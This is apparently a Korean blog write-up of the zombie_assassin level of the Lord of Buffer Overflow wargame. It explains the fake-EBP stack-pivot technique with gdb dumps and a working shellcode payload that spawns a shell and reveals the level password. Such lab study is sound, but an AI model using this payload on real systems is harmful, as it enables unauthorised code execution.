728x90

assassin / pushing me away

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48); 
	printf("%s\n", buffer);
}

문제 힌트에 FEBP가 주어져있다. FEBP란 Fake EBP를 의미한다.

fake ebp란 ebp를 변조해서 프로그램 실행 흐름을 조작하는 기법이다. 지금처럼 ret 주소뒤에 덮어쓸 수 없을 때 사용하면 된다.

main 함수에서 에필로그 과정에서 ret 명령 실행 시 leave 명령어의 주소로 다시 이동하여 에필로그 과정을 한 번 더 수행하는 방식이다. main 함수 스택의 sfp에 쉘 코드 주소의 주소 - 4를 저장한다. 리턴 주소를 leave 명령어의 주소로 설정하여 다시 에필로그 과정을 수행한다. leave 명령의 mov esp, ebp로 인해 esp엔 쉘 코드 주소의 주소 - 4가 저장된다. 그리고 pop ebp를 수행하기 때문에 esp는 4 증가한다. esp는 이제 쉘 코드 주소의 주소가 되었다. 이제 ret 명령을 실행한다. pop eip, jmp eip이기 때문에 쉘 코드 주소가 eip에 저장되고 쉘 코드 주소로 점프한다. 마침내 쉘 코드가 실행된다.

우선 buffer의 주소를 알아보자. zombie_assassin을 복사하여 gdb를 실행한다. main+139에 break point를 걸고 실행하였다.

[assassin@localhost assassin]gdb zombie_assassin2 -q
(gdb) b main
Breakpoint 1 at 0x8048446
(gdb) b *main+139
Breakpoint 2 at 0x80484cb
(gdb) r `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`
Starting program: /home/assassin/zombie_assassin2 `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`

(gdb) disas main
(생략)
0x80484d7 <main+151>:	call   0x8048354 <printf>
0x80484dc <main+156>:	add    $0x8,%esp
0x80484df <main+159>:	leave  
0x80484e0 <main+160>:	ret    
0x80484e1 <main+161>:	nop    

Breakpoint 1, 0x8048446 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80484cb in main ()
(gdb) x/30x $esp
0xbffffa04:	0xbffffa10	0xbffffb97	0x00000030	0x41414141
0xbffffa14:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa24:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa34:	0x90909090	0x42424242	0x43434343	0x00000002
0xbffffa44:	0xbffffa84	0xbffffa90	0x40013868	0x00000002
(생략)
(gdb) x/150x $ebp
(생략)
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x42909090	0x43424242	0x90434343
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc08:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc28:	0x44909090	0x44444444	0x44444444	0x44444444
0xbffffc38:	0x44444444	0x44444444	0x44444444	0x44575000

A: 쉘 코드의 주소 (0xbffffbe8)
B: buffer의 주소-4 (0xbffffa0c)
C: ret 주소 (0x80484df)
D: 쉘 코드

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\xe8\xfb\xff\xbf"+"\x90"*36+"\x0c\xfa\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*100+"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
鼿¿ 
   ߄ 
bash$ my-pass
euid = 516
no place to hide

zombie_assassin 비밀번호 no place to hide

참고로 argv[1] 공간을 이용해서 풀었는데 buffer 공간에 쉘 코드를 저장해서 푸는 것도 가능하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31

+ Recent posts